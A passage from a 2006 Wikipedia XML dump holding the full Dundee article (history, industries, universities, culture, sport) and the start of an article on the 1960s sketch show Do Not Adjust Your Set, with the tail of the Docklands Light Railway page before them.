[[Category:Lewisham]]
[[Category:Light rail]]
[[Category:London's railways]]
[[Category:Newham]]
[[Category:Public transport in the United Kingdom|London DLR]]
[[Category:Tower Hamlets]]
[[Category:Transport in London]]
[[cs:Docklands Light Railway]]
[[de:Docklands Light Railway]]
[[fr:Docklands Light Railway]]
[[nl:Docklands Light Railway]]
[[no:Docklands Light Railway]]
[[sv:Docklands Light Railway]]&lt;/ref&gt;</text>
    </revision>
  </page>
  <page>
    <title>Dundee</title>
    <id>8828</id>
    <revision>
      <id>42101722</id>
      <timestamp>2006-03-03T21:09:52Z</timestamp>
      <contributor>
        <username>Benson85</username>
        <id>137250</id>
      </contributor>
      <comment>/* Ice Hockey */</comment>
      <text xml:space="preserve">:''For other uses see [[Dundee (disambiguation)]]''
{{infobox Scotland place with map|  
   |Place=             Dundee
   |Population=        154,674 
   |GridReference=     NO365325  
   |Map=               Dundee (location).png
   |Council=           [[City of Dundee]]
   |Lieutenancy=       Dundee
   |Traditional=       [[Angus]]
   |Westminster=       [[Dundee East (UK Parliament constituency)|Dundee East]] &lt;br/&gt;  [[Dundee West (UK Parliament constituency)|Dundee West]] 
   |Holyrood=       [[Dundee East (Scottish Parliament constituency)|Dundee East]] &lt;br/&gt;  [[Dundee West (Scottish Parliament constituency)|Dundee West]] &lt;br/&gt;  [[North East Scotland]] 
   |PostalTown=        Dundee
   |PostCode=          DD1-DD5
   |DiallingCode=      01382
   |Police=            [[Tayside Police]]
 }}
The [[Royal Burgh]] of '''Dundee''' ([[Scottish Gaelic|Gaelic]]: ''Dùn Dèagh'') is [[Scotland]]'s fourth largest [[City status in the United Kingdom|city]], population 154,674 (2001), and one of Scotland's 32 [[council areas]]. The city is situated on the east coast, on the north bank of the [[Firth of Tay]], near where the [[firth]] opens out into the [[North Sea]]. 

The city is built around the [[basalt]] [[Volcanic plug|plug]] of an extinct [[volcano]], now called [[Dundee Law]] (174 m (571 feet)). During the [[Iron Age]] it was the site of a [[Picts|Pictish]] settlement. In his ''History of the Scottish People'' ([[1527]]), [[Hector Boece]] suggests that the Pictish name was '''Alec-tum''', meaning 'a handsome place'. (This name was still in use, alongside the modern name, as late as [[1607]], according to [[William Camden]].)

From [[1975]], the city was the administrative centre of [[Tayside]] [[Regions of Scotland|Region]], and was itself administered as one of the districts of that region. Since the abolition of two-tier local government in Scotland in [[1996]], the [[City of Dundee]], incorporating the [[burgh]] of [[Broughty Ferry]], has been a self-contained [[unitary authority]] making it Scotland's smallest local government subdivision in terms of area. The [[motto]]s of the city are 'Dei Donum' [[[Latin]]: ''Gift of God''] and 'Prudentia et Candore' [''with thought and purity''], typically only the latter is used for civic purposes.

Dundee celebrated its 800th anniversary in [[1991]], and is known as the 'City of Discovery' in honour of the [[RRS Discovery]], [[Robert Falcon Scott]]'s famous [[Antarctica|Antarctic]] exploration vessel [http://www.dundeecity.gov.uk/], which was built in the city.

On [[5 March]] [[2004]], Dundee was granted [[Fairtrade Town|Fairtrade City]] status. Dundee is Scotland's sunniest city (because it is the only one facing south) with over 1400 hours of sunshine on average per year.

==Location==
The city is surrounded by the [[Sidlaw Hills]] to the north, which are popular with hillwalkers. Due to its location, Dundee is in close proximity to some of the Scotland's most spectacular scenery including [[Perth, Scotland|Perth]] (20 miles) and the southern [[Scottish Highlands|Highlands]] towards the west, [[St Andrews]] (14 miles) and north-east [[Fife]] heading south and [[Angus]] lying north and east of the city, including the beautiful [[Angus Glens]]. Two of the world's most popular [[Links (golf)|links]] [[golf]] courses, [[St Andrews Links|St Andrews]] and [[Carnoustie Golf Links|Carnoustie]], are located close to the city. [[Glamis Castle]] is located 12 miles north of Dundee.

== History ==
[[William the Lion]] granted the nascent town the status of [[burgh]] by royal [[charter]] in [[1191]]. His brother, [[David of Scotland, 8th Earl of Huntingdon|David, 8th Earl of Huntingdon]] is said to have named the town ''Donum Dei'' ('God's gift') upon narrowly escaping death during his return from the [[Crusades]]. However, this is probably [[folk etymology]], as the name appears to come from the Gaelic ''Dun Dèagh'' meaning ''Fort on the [[Tay]]'' (&quot;Dun&quot; is a common [[prefix]] in [[Scottish placenames]], cf [[Dunfermline]] and [[Dunkeld]])

===Defence &amp; destruction===
Dundee suffered periods of occupation and destruction in the late [[13th Century|13th]] and early [[14th Century|14th]] centuries. Following [[John Balliol]]'s renunciation ([[1295]]) of [[Edward I of England|Edward I's]] claimed authority over Scotland, the [[England|English]] King twice visited Scotland with hostile intent. Edward (the 'Hammer of the Scots') removed Dundee's royal charter &amp;mdash; denying the town's people the right to control [[Local government of Scotland|local government]] and the judiciary. He occupied the Castle at Dundee in [[1296]], but was successfully removed by [[William Wallace]] in [[1297]].

From [[1303]] to [[1312]] the city was occupied again. This time, Edward's removal resulted in the complete destruction of the Castle by [[Robert the Bruce]], who had been proclaimed [[King of Scots]] at nearby [[Scone, Perth and Kinross|Scone]] in [[1309]]. In [[1327]], The Bruce granted the [[royal burgh]] a new charter. Later in the [[14th Century|14th]] century, during the [[Hundred Years War]], the [[France|French]] invoked the [[Auld Alliance]].  [[Richard II of England|Richard II]] marched north and reduced [[Edinburgh]], [[Perth, Scotland|Perth]] and Dundee to ashes.

[[Image:DundeeOverBridge.JPG|thumb|300px|Dundee over the Tay Bridge]]
Dundee became a walled city in [[1545]] during a period of English hostilities known as the [[rough wooing]] ([[Henry VIII of England|Henry VIII]]'s violent attempt to extend his [[Protestant]] ambitions north by marrying his youngest son [[Edward VI of England|Edward, Duke of Cornwall]] to [[Mary I of Scotland|Mary, Queen of Scots]]). Mary maintained an alliance with the French, who successfully captured [[Protestant]] opponents, including [[John Knox]], at [[St Andrews Castle]], in nearby north Fife, in July [[1547]]. That year, however, buoyed by victory at the [[Battle of Pinkie Cleugh]], the English occupied Edinburgh and went on to destroy much of Dundee by naval bombardment. The [[Howff]] Burial Ground, granted to the people of Dundee in [[1546]], is the city's lasting gift from Mary.

During a period of relative peace between Scotland and England, the status of Dundee as a [[Royal Burgh]] was once more confirmed in [[The Great Charter]] of [[Charles I of England|Charles I]], dated [[14 September]] [[1641]]. Ironically, however, with the outbreak of the [[Scottish Civil War]] in 1644, Dundee continued to suffer at the hands of nobles loyal to the [[English monarch]] &amp;mdash; the [[Royalist]] [[James Graham, 1st Marquess of Montrose]] besieged the royal burgh in April [[1645]]. Nor were Dundee's misfortunes over when the hostilities between Scottish Royalists and [[Covenanters]] were brought to an end. On [[1 September]] [[1651]] during the [[English Parliamentarian]] invasion of Scotland of the [[Third English Civil War]], [[George Monck|General Monck]], commander of Cromwell's forces in Scotland, captured Dundee. His troops pillaged the royal burgh, destroying much of it and killing up to 2,000 of the 12,000 inhabitants. 

[[John Graham, Viscount Dundee|John Graham, 1st Viscount Dundee]] raised the [[House of Stuart|Stuart]] [[standard]] on Dundee Law in [[1689]]. For this significant early contribution to the [[jacobitism|Jacobite uprising]], Graham quickly earned the name [[Bonnie Dundee]].

*One small section of the city wall &amp;mdash; the [[Wishart Arch]] &amp;mdash; still stands as a reminder of Dundee's turbulent history.

===Reconstruction===
After [[Act of Union 1707|Union]] with the [[Kingdom of England]] ended military hostilities, Dundee was able to redevelop its [[harbour]] and establish itself as an industrial and trading centre. The industrial history of Dundee is traditionally summarised in the expression &quot;the three Js&quot;.

&lt;div style=&quot;float:right;margin:0 0 1em 1em;font-style:italic;text-align:center;&quot;&gt;[[Image:Coxs Stack Dundee.jpg|Alt text]]&lt;br /&gt;Cox's Stack - &lt;br&gt;A last reminder of the jute industry&lt;/div&gt;

====Jute====
During the [[18th Century|18th]] and [[19th Century|19th]] Centuries, [[flax]] was imported from the countries surrounding the [[Baltic states#Baltic Sea countries and Balticum|Baltic Sea]] for the production of [[linen]]. The trade supported 36 spinning mills by [[1835]], but various conflicts, including the [[Crimean war]] put a stop to the trade. At around this time, [[jute]], a common fibre from the [[Indian sub-continent]], was looked at as a possible alternative but was difficult to handle. It was discovered that treatment with [[whale oil]], available from  another local industry, made the spinning of the jute fibre possible, paving the way for a flourishing industry in the production of the material. This growth precipitated a large increase in population.

*[[1801]] - 26,000 
*[[1835]] - 40,000
*[[1861]] - 90,000
*[[1870]] - 130,000

By the end of the 19th century the majority of Dundee's working population were occupied in jute manufacture, but the industry began to decline in [[1914]], when it became cheaper to rely on imports from [[India]]. (Ironically, Dundee's 'jute barons' had invested heavily in Indian factories). Commercial jute production in Dundee came to an end in the [[1960s]]. Some manufacturers successfully diversified to produce [[synthetic fiber|synthetic fibres]] and [[linoleum]] for a short time. Many mills were destroyed, but others have been redeveloped for residential use. An award-winning museum, based in the old [[Verdant Works]], commemorates the city's manufacturing heritage and operates a small jute-processing facility.

====Jam====
The second &quot;J&quot; should really be an &quot;M&quot;: Dundee's link with [[jam]] stems from [[Janet Keiller]]'s [[1797]] 'invention' of [[marmalade]]. Mrs. Keiller is said to have devised the [[recipe]] in order to make use of a cargo-load of bitter [[Seville]] [[Orange (fruit)|orange]]s acquired from a [[Spain|Spanish]] ship by her 'husband', James. This account is fiction, but nevertheless marmalade became a famed Dundee export after [[James Keiller]] (in reality Janet's son) industrialised the production process during the 19th century. Traditional marmalade production has fallen victim to corporate takeovers, but distinctive white jars of [[Keiller's marmalade]] can still be bought.

====Journalism====
[[Journalism]] is the only &quot;J&quot; which continues to thrive in Dundee &amp;mdash; the publisher [[D. C. Thomson &amp; Co. Ltd|DC Thomson &amp; Co.]] celebrated its centenary in [[2005]]. The firm publishes a [[List of DC Thomson Publications|wide spectrum]] of newspapers, children's comics and magazines, including [[The Sunday Post]], [[The Courier]] and children's favourites, [[The Beano]] and [[The Dandy]].

===Maritime heritage===
As a [[whaling]] port, Dundee developed a prosperous maritime industry. In [[1857]] the whaling ship ''Tay'' was fitted with steam engines, the first in the world. By [[1872]] Dundee had become the premier whaling port of the [[British Isles]]. Over 2,000 ships were built in the city between [[1871]] and [[1881]]. The last whaling ship to be built at Dundee was the ''[[Terra Nova (ship)|Terra Nova]]'', in [[1884]]. [[Shipbuilding]] came to a halt altogether in [[1961]]. The [[Dundee Perth and London Shipping Company]] (DPLC) ran [[steamship]]s down the Tay from [[Perth, Scotland|Perth]] and on to [[Kingston upon Hull|Hull]] and [[London]]. The firm still exists, but is essentially now a travel agency.

''[[RRS Discovery]]'', the ship taken to the [[Antarctica|Antarctic]] by [[Robert Falcon Scott]], was built in Dundee in [[1901]]. It returned to its birthplace in the [[1980s]] and is moored next to a purpose-built [[RRS Discovery| visitors' centre]]. An older ship, the frigate ''[[HMS Unicorn]]'', is moored in the docks. It was not actually built at Dundee, but as the oldest wooden British warship still afloat it is a prestigious addition to a city with a rich maritime heritage.

&lt;div style=&quot;float:left; margin:0 1em 1em 0;font-style:italic;text-align:center;&quot;&gt;[[Image:Tay Bridge and North Fife.jpg|Alt text]]&lt;br /&gt;The Tay Bridge &amp; Fife&lt;br&gt;from the summit of Dundee Law&lt;/div&gt;

===The Tay Bridge Disaster===
In [[1879]] a [[Tay Rail Bridge|railway bridge over the Tay]] was opened. Its completion was commemorated in 'verse' by [[William McGonagall]]. Less than a year after its construction, however, the bridge collapsed under the weight of a train full of passengers during a fierce storm. McGonagall's classic ''[[The Tay Bridge Disaster]]'' vividly recounts the tragedy. The bridge was replaced in [[1887]]. Today the Tay Railway Bridge is the longest in [[Europe]] at just over 2 miles long. It connects the rail network at Dundee to [[Fife]] and [[Edinburgh]].

===Winston Churchill===
Between [[1908]] and [[1922]], the city's MP was none other than [[Winston Churchill]], at that time a member of the (Coalition) [[Liberal Party (UK)|Liberal Party]]. Churchill's conspicuous noble background and his frequent absence from Dundee on [[cabinet]] business alienated him from his constituents. The last years of his tenure in Dundee were marked by vitriol from local newspapers. He once described the constituency as &quot;a life seat, and cheap and easy beyond all experience&quot;.  Prevented from campaigning in the [[United Kingdom general election, 1922|1922 general election]] by [[appendicitis]], his wife [[Clementine Churchill|Clementine]] spoke for him instead, but was spat on for wearing [[pearls]]. Churchill was ousted by [[Labour Party (UK)|Labour]] candidate [[E. D. Morel]] and the [[Scottish Prohibition Party|Scottish Prohibitionist]] [[Edwin Scrymgeour]] - in Scrymgeour's case, at the sixth attempt. Churchill left Dundee &amp;mdash; &quot;short of an appendix, seat and party&quot; &amp;mdash; never to return. In [[1943]] he was offered [[Freedom of the City]] &amp;mdash; by 16 votes to 15 &amp;mdash; but refused to accept.  On being asked by the Council to expand on his reasons, his said simply:  &quot;I have nothing to add to the reply which has already been sent&quot;.

== Modern Dundee ==
[[Image:City Square, Dundee, Scotland.jpg|thumb|500px|Dundee City Square]]

===Employment===
Dundee has never regained its status as a major manufacturing centre. In the [[1960]]s and [[1970s|70s]] the arrival in the city of three major companies &amp;mdash; [[Michelin]], [[NCR Corporation|NCR]] (the NCR plant being nicknamed &quot;The Cash&quot; among Dundonians), and [[Timex Corporation|Timex]] &amp;mdash; went some way to alleviating unemployment. Timex closed their Dundee plant in early [[1990s|90s]], reflecting the industrial mood of the time. The development of a number of 'enterprise zones' and 'technology parks', and in particular the arrival of a number of [[call centre]]s led to a period of economic optimism.

===Universities and Colleges===
In [[1967]], the ancient [[University of Dundee]] was independently established, following 70 years as a college of the [[University of Saint Andrews]]. It is currently at the forefront of [[biomedical]] research and [[oncology]], and incorporates the [[Duncan of Jordanstone School of Art and Design]] which is currently one of the top art schools in the UK. The University's [[Rector]] is television presenter [[Lorraine Kelly]]. Recently (October 2005) it has been announced that the University also became the first [[UNESCO]] centre in the UK.  The centre will be involved in managing the world's water resources on behalf of the [[United Nations]].

The [[University of Abertay Dundee]] is a [[New University|'new university']]. It was created in [[1994]], under government [[Further and Higher Education Act, 1992|legislation]] granting the title 'University' to Dundee Institute of Technology (which was itself founded in [[1888]] and gained independent degree-giving authority in the [[1970s]]).

Today, the University of Abertay is a world leader in [[computer games]] technology and design and is also home to the [[Dundee Business School]]. The University of Abertay is currently ranked number one in the United Kingdom for its investment in IT Facilities. David Jones - the creator of [[Grand Theft Auto (series)|Grand Theft Auto]] and [[Lemmings]] computer game series attended The University of Abertay. [[Dare to Be Digital]] a world wide recognised computer game production competition is run by the university each year.

[http://www.dundeecoll.ac.uk/ Dundee College] was established in 1985 and provides courses for higher education and vocational training in the local area.  A new Media Centre was recently opened at the college which allows students access to the latest technology for working in the new media industries such as web design and for developing graphic and animation software. The college is also the site of 'The Space' which is a purpose built venue for performance and training and is the site for the [[Scottish School of Contemporary Dance]].  The college also works closely with the city's  universities and schools.

Dundee has a student population of approximately 22,000.

===Immigration &amp; multiculturalism===
Dundee's most significant influx occurred in the mid-[[1800s]]: [[Ireland|Irish]] workers, driven from their native country by [[potato blight]] made no small contribution to the city's industrial success. The city also attracted immigrants from [[Italy]] and [[Poland]] in the 19th and 20th centuries. However, Dundee did not experience [[post-war]] [[immigration]] on the same scale as some other cities. Its status as a declining industrial centre meant that it was not a major destination for the waves of immigrants who were to have such an important impact on the colour and culture of the [[British Isles]] in the [[1950s]] and [[1960s|60s]]. Nevertheless, the city does now have a sizable ethnic minority population. Dundee also continues to attract a particularly large number of Irish students; the reasons for this are unclear. 

The historic City Churches &amp;mdash; home to two separate congregations ([[Dundee Parish Church (St Mary's)]] and The [[Steeple Church]]) &amp;mdash; is the most prominent [[Church of Scotland]] building in Dundee. The Church of Scotland has a [[Presbytery]] of Dundee currently consisting of 45 congregations, though many now share a [[Minister (religion)|minister]]. [[Robert Murray M'Cheyne]] was the minister of St Peter's Church from [[1838]] until his death in [[1843]]. During his ministry, there was something of a religious revival in Dundee. There are two [[cathedral]]s in the city &amp;mdash; St. Paul's ([[Scottish Episcopal Church|Scottish Episcopal]]) and St. Andrew's ([[Roman Catholic]]).

A [[Jewish]] community has existed in the city for more than a century. The present [[synagogue]] was built in the [[1970s]]. [[Muslim]]s are served by a large [[mosque]] (opened in [[2000]]). Dundee is also home to a [[school]] for Muslim girls &amp;mdash; one of only two such schools in Scotland. The city also has a [[Hindu]] [[mandir]] and [[Sikh]] [[gurdwara]].

===Theatre &amp; The Arts===
Dundee is home to Scotland's only full-time [[repertory]] ensemble, established in the [[1930s]]. [[Hollywood]] actor [[Brian Cox]], a native of the city, is its most famous [[alumnus]]. [[Dundee Repertory Theatre]] (&quot;The Rep&quot;), built in [[1982]], is also the base for [[Scottish Dance Theatre]]. Dundee's principal [[concert]] [[auditorium]], the [[Caird Hall]] (named for its benefactor, the jute baron [[James Caird]]), regularly plays host to the [[Royal Scottish National Orchestra]]. A number of smaller venues also host local and international musicians during Dundee's annual [[Jazz]], [[Guitar]] and [[Blues]] Festivals. [[Dundee Contemporary Arts]] &amp;mdash; hub of the city's cultural quarter &amp;mdash; was opened in [[1999]].

===Football===
Dundee has two professional [[soccer|football]] teams ([[Dundee F.C.]], and [[Dundee United F.C.]]). Their stadia ([[Dens Park]] and [[Tannadice Park]]) are closer together than any other senior pair in world football, making them a frequent subject of football trivia quizzes. Another interesting fact is that Dundee is also one of only three British cities to have produced two [[European Cup]] semi-finalists, the others being [[Glasgow]] and [[London]]. [[Dundee United]] are in the unsual position of having an unbeaten record against [[FC Barcelona]], defeating the Spanish side home and away in both 1966 and 1987. Dundee F.C were relegated to the [[First Division]] in season 2004/05 leaving Dundee United F.C as the city's only [[SPL]] team.

Dundee itself and surrounding small towns are home to a number of [[junior football]] teams.  In May 2005 two local teams [[Tayport]] and [[Lochee|Lochee United]] made it to the final of the [[Scottish Junior Cup]] Final held at [[Tannadice Park]] where [[Tayport]] came out the victors.
&lt;includeonly&gt;&lt;/includeonly&gt;

===Ice Hockey===
Dundee is home to the [[Dundee Texol Stars]] [[ice hockey]] team which play at the city's [[Dundee Ice Arena]]. The team participates in the [[Scottish National League]] (SNL) along with the [[Dundee Tigers]] and the [[Northern League (ice hockey)|Northern League]] (NL) as well as in various cup competitions.

===Rugby===
Dundee is represented at rugby by [[Dundee High School Former Pupils]] (DHSFP) (Est. 1880).  The 2005/2006 season celebrates the club's 125th anniversary.

===Pop music===
Dundee has a true claim to pop fame, having produced one of the defining [[soul-funk]] bands of the [[1970s]] &amp;mdash; the [[Average White Band]]. [[1980s]] pop outfits [[The Associates]] and [[Danny Wilson]] were also Dundonian. [[Ricky Ross]] of [[Deacon Blue]] attended the [[High School of Dundee]], trained at Dundee College of Education and taught briefly at a [[high school]] in the city. Current pop festival-headliners and [[Mercury Music Prize]] nominees [[Snow Patrol]] are [[Ireland|Irish]] but have been adopted by the city because they were formed at the University of Dundee. The Dundee band [[Spare Snare]] were recently voted one of the fifty best Scottish bands of all time in a recent poll for ''[[The List]]'' magazine.  [[KT Tunstall]] attended the [[High School of Dundee]] for a large portion of her education, as well as [[Madras School]] in nearby St. Andrews.

It was announced on February 8, 2006 that the [[One Big Weekend]] music festival put on by [[BBC Radio 1]] would be coming to Dundee's [[Camperdown Park]]. The dates for the 2006 festival are May 13 and 14.

===Twinning===
Dundee maintains cultural, economic and educational ties with six [[twin town|twin cities]]:
{|
| valign=&quot;top&quot; |
* {{flagicon|France}} - [[Orleans]], [[France]] (1946)
* {{flagicon|USA}} - [[Alexandria, Virginia|Alexandria]], [[Virginia]], [[USA]] (1974)
* {{flagicon|Palestine}} - [[Nablus]], [[West Bank]] (1980)
| valign=&quot;top&quot; |
* {{flagicon|Croatia}} - [[Zadar]], [[Croatia]] (1959)
* {{flagicon|United Arab Emirates}} - [[Dubai]], [[United Arab Emirates]] (????)
* {{flagicon|Germany}} - [[Würzburg]], [[Germany]] (1962)
|}
*The [[Diocese of Brechin]] (centred on [[St Paul’s Cathedral, Dundee|St Paul’s Cathedral]] in Dundee) is twinned with the diocese of [[Iowa]], [[USA]] and with the diocese of [[Swaziland]].

==City of Discovery==
===Electric street-lighting===
Dundee was the first city in the world to have electric [[street lights]], employing [[bulb]]s designed by [[James Bowman Lindsay]].

===The postage stamp===
[[James Chalmers]] is recognised as having invented the modern [[postage stamp]] in Dundee. His tombstone, in the Howff burial ground, reads: ''&quot;Originator of the adhesive postage stamp which saved the [[penny postage]] scheme of 1840 from collapse rendering it an unquallified (''sic'') success and which has since been adopted throughout the postal systems of the world.&quot;''

===The ATM===
A series of innovations by [[NCR Corporation]] (including the development of magnetic-strip readers for cash registers) culminated in the production of the first [[Automatic Teller Machine|ATM]], or 'hole in the wall' cash machine, at its Dundee plant in the late [[1960s]].

===Computing===
The first [[Sinclair Research Ltd|Sinclair]] [[home computers]] were produced at the [[Timex]] factory in Dundee in the early [[1980s]]. The [[computer games]] firm [[Rockstar North]] &amp;mdash; developer of the extraordinarily successful ''[[Lemmings]]'' and the ''[[Grand Theft Auto (series)|Grand Theft Auto]]'' series &amp;mdash; was founded in Dundee as DMA Design. For a small city thousands of miles from [[Silicon Valley]], Dundee's impact on the computing industry has been extraordinary.

===Aspirin===
It is known that Dr [[Thomas John MacLagan]] first developed [[aspirin]] in 1876 whilst working at the old [[Dundee Royal Infirmary]]. Today aspirin and its derivatives are used worldwide for the treatment of [[fever]] and [[pain]] and more recently have been shown to be helpful in reducing the risk of having a [[heart attack]].

==Education==
===High School of Dundee===
The [[High School of Dundee]] (known locally as &quot;Dundee High&quot;) is one of [[Scotland]]'s leading [[independent schools]]. It has its origins in the [[Grammar School]] founded by the Abbot and Monks of [[Lindores]] after they were granted a [[charter]] by Gilbert, [[Bishop of Brechin]], in the early 1220s to &quot;plant schools wherever they please in the burgh&quot;: their rights were confirmed by a [[Papal Bull]] conferred upon them by Pope [[Gregory IX]] on [[14 February]] [[1239]]. It is from this Bull that the School's motto &quot;Prestante Domino&quot;, translated as &quot;Under the Leadership of God&quot;, is taken.

Early scholars included [[William Wallace]], Scottish patriot, [[Guardian of Scotland]] during the [[Wars of Scottish Independence|Wars of Independence]], [[Hector Boece]], historian and first Principal of the [[University of Aberdeen]], and [[James, John and Robert Wedderburn]], authors of ''[[The Gude and Godlie Ballatis]]'', one of the most important literary works of the [[Scots Reformation]],  and [[Stuart Beat]], [[Richard McLean]] and [[Amos Elias]]; famous Dundonian [[revolutionaries]] and [[idealists]]. The School itself was the earliest [[Reformed]] school in Scotland, having adopted the new religion in 1554.

The School has continued its traditions of education and service to this day, with famous former pupils including [[BBC]] political journalist [[Andrew Marr]], and singer/songwriter KT Tunstall.

==See also==
*[[Broughty Ferry]]
*[[Desperate Dan]]
*[[Lochee]]

==Reference==
*'''Smith, W.J. ed.''' (1980): ''A History of Dundee'' [Dundee, David Winter &amp; Son]

==External links==
*[http://www.dundeecity.gov.uk/ Dundee City Council]
{{oscoor gbx|NO404303}}
*[http://www.dundeecity.gov.uk/photodb/ Dundee City Council Photo Archive]
*[http://www.dundee.ac.uk/ University of Dundee]
*[http://www.abertay.ac.uk/ The University of Abertay Dundee]
*[http://www.dundeecoll.ac.uk/ Dundee College]
*[http://www.dca.org.uk/ Dundee Contemporary Arts (DCA)]
*[http://www.scots-online.org/grammar/dundee.htm Dundee Dialect]
*[http://www.dundeerep.co.uk/ Dundee Rep Theatre]
*[http://www.dundeecity.gov.uk/mills/ Mills Observatory]
*[http://dundeehotels.todaytravel.co.uk/ Dundee Hotels]
*[http://www.rrsdiscovery.com/ RRS Discovery &amp; Verdant Works]
*[http://www.frigateunicorn.org/ Frigate Unicorn]
*[http://www.sensation-dundee.com/ Sensation Science Centre]
*[http://www.geocities.com/standrewscathedral/ St. Andrew's Cathedral (Catholic)]
*[http://www.dundeestmarys.co.uk/ Dundee Parish Church - St Mary's (Church of Scotland)]
*[http://www.stpaulscathedraldundee.org/ St. Paul's Cathedral (Scottish Episcopal)]
*[http://www.thesteeplechurch.org.uk/ The Steeple Church (Church of Scotland)]
*[http://www.dundee-howff.info/ Tombs of the Dundee Howff]
*[http://www.altdundee.net alt.dundee club night listings]
*[http://www.camperdownpark.com/wildlife.htm Camperdown Park Wildlife Centre]
*[http://www.dundeeflowerandfoodfestival.com/welcome.htm Annual Flower and Food Festival]
*[http://www.dundeecity.gov.uk/airport/main.htm Dundee Airport Website]
*[http://www.dundeecity.gov.uk/broughtycastle/main.htm Broughty Ferry Castle]
*[http://www.tayfm.co.uk/ Local Radio Station Tay FM]
*[http://www.tayam.co.uk/ Local Radio Station Tay AM]
*[http://www.wave102.co.uk/ Local Radio Station Wave 102]
*[http://www.traveldundee.co.uk/ Travel Dundee]
*[http://www.onthestrathtaybuses.info/ Strathtay Buses]
*[http://www.overgate.co.uk/ Overgate Shopping Centre]
*[http://www.wellgatedundee.co.uk/ Wellgate Shopping Centre]
*[http://www.city-of-dundee.info/restaurants.html Guide to Dundee]
*[http://www.factoryskatepark.co.uk/ Factory Skatepark]
*[http://www.dundeebotanicgarden.co.uk/  Dundee University Botanical Garden]
*[http://www.whitehalldundee.co.uk/index2.html Whitehall Theatre]
*[http://www.cairdhall.co.uk/Site/Frameset/2/core.htm Caird Hall]
*[http://www.dundeehsfprugby.org.uk/ DHSFP Rugby Club Homepage]
*[http://www.dundeestars.com/home.asp Dundee Texol Stars Ice Hockey Team Website]
*[http://www.dundeeconcrete.com/ Free outdoor concrete skatepark]

==Other Dundees in the World==
*[[Dundee, Michigan| Dundee, Michigan, USA]]
*[[Dundee, New York| Dundee, New York, USA]]
*[[Dundee, Ohio| Dundee, Ohio, USA]]
*[[West Dundee| West Dundee, Illinois, USA]]
*[[East Dundee| East Dundee, Illinois, USA]]
* Dundee, Nova Scotia, Canada
*New Dundee, Ontario, Canada
*Dundee Beach, Northern Territory, Australia
*and of course...[[Crocodile Dundee| Crocodile Dundee (Australia!)]]

{{Scottish Cities}}

[[Category:Dundee|*]]

[[de:Dundee]]
[[fr:Dundee]]
[[gd:Dùn Dèagh]]
[[nl:Dundee]]
[[ja:ダンディー (イギリス)]]
[[no:Dundee]]
[[nn:Dundee]]
[[pl:Dundee]]
[[sco:Dundee]]
[[simple:Dundee]]
[[sv:Dundee]]</text>
    </revision>
  </page>
  <page>
    <title>Do Not Adjust Your Set</title>
    <id>8829</id>
    <revision>
      <id>42079488</id>
      <timestamp>2006-03-03T18:05:09Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">[[Image:DoNotAdjustYourSet-dvd.jpg|thumb|right|250px|&quot;Do Not Adjust Your Set&quot; (DVD) &lt;br&gt;From left to right: David Jason, Michael Palin, Eric Idle, Denise Coffey and Terry Jones.]]
[[Image:DoNotAdjustYourSetCast.jpg|thumb|right|From left to right: David Jason, Michael Palin, Terry Jones, and Eric Idle.]]
[[Image:Denise coffey.jpg|thumb|150px|right|[[Denise Coffey]] playing the part of Juliet in the programme.]]

'''''Do Not Adjust Your Set''''' was a classic children's [[television program|television series]] produced originally by [[Associated-Rediffusion]], then by the fledgling [[Thames Television]] for British commercial television channel [[ITV]] from [[26 December]] [[1967]] to [[14 May]] [[1969]].

The show took its name from the message (frequently seen on the TV screen in those days) which was displayed when there was a problem with transmission. Although originally conceived as a children's programme, it quickly acquired a cult crossover following amongst many adults. Indeed quite a lot of material could be considered adultish. In aiming at a family audience it is similar to [[The Goodies]].

This was an early appearance of many actors and comedians who later became famous, such as  [[Denise Coffey]] and [[David Jason]]. [[Michael Palin]], [[Terry Jones]], and [[Eric Idle]] soon found themselves in superstardom after the three became members of the hugely successful [[Monty Python]]. The [[Bonzo Dog Doo-Dah Band]] performed a song in each programme and Bob Kerr's Whoopee Band also appeared. The musicians frequently appeared as extras in sketches.

The programme comprised a series of sketches, often bizarre and surreal, frequently satirical with a disjointed style which was to become more famous in the subsequent and more daring [[Monty Pythons Flying Circus|Monty Python's Flying Circus]] which followed five months later. At least one ''DNAYS'' sketch was re-used in Monty Python. Strange [[animation]]s between sketches were crafted by the then unknown [[Terry Gilliam]] in the final episodes, who also graduated to Python - part of his `Christmas cards' animation reappearing there, in the &quot;Joy to the World&quot; segment.

One long running feature of the show was ''[[Captain Fantastic]]'', featuring a parody [[superhero]] (Jason) in improbable, even macabre adventures against [[villain]]ess Mrs. Black (Coffey). The rather eerie foes bear comparison with those in ''[[The Avengers]]''. These segments were shot entirely on film, on location in [[London]].

In [[1968]] it won an international award, the Prix Jeunesse, in Munich.

==Episodes==
*Series
**Series one: 14 episodes of 30 minutes broadcast between [[26 December]] [[1967]] to [[28 March]] [[1968]], Thursdays at 5.25pm.
**Series two: 13 episodes of 30 minutes broadcast between [[19 February]] [[1969]] to [[14 May]] [[1969]], Wednesdays at 5.20pm.
*Specials
**Untitled special of 30 minutes broadcast [[29 July]] [[1968]], Monday at 7pm.
**''Do Not Adjust Your Stocking'', 50 minutes broadcast [[25 December]] [[1968]], Wednesday 4.10pm.

In common with another important Monty Python predecessor, ''[[At Last the 1948 Show]]'', many episodes were [[Wiping (magnetic tape)|wiped]] despite their importance to the history of British television comedy, and the surviving episodes are seldom repeated.

==DVD release==

Nine of the fourteen episodes from the first (Rediffusion) series (presumably all that survive) were released on DVD in the [[United Kingdom|UK]] and [[United States|USA]] in [[August]] [[2005]]. Both releases use the same [[NTSC]] Region 0 discs made from [[telerecording]]s of the original videotapes. The packaging claims that Gilliam's animations appear in these episodes, but they do not. The Bonzo Dog Doo Dah Band is seen playing its song &quot;Death Cab for Cutie&quot; in the DVD, Episode 7. The [[indie rock]] band [[Death Cab for Cutie]] took its name from the song.

==External links==

*[http://www.screenonline.org.uk/tv/id/515090/index.html British Film Institute Screen Online]
*[http://www.nostalgiacentral.com/tv/kids/donotadjust.htm Do Not Adjust Your Set] - Nostalgia Central
*[http://www.popmatters.com/tv/reviews/d/do-not-adjust-your-set.shtml A Review of DNAYS]
&lt;!--Need to check the full cast list--&gt;

&lt;br&gt;
&lt;center&gt;
{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot;
|- bgcolor=&quot;lightblue&quot;
! &lt;font size=&quot;3&quot;&gt;'''Do Not Adjust Your Set'''&lt;/font size&gt;
|- 
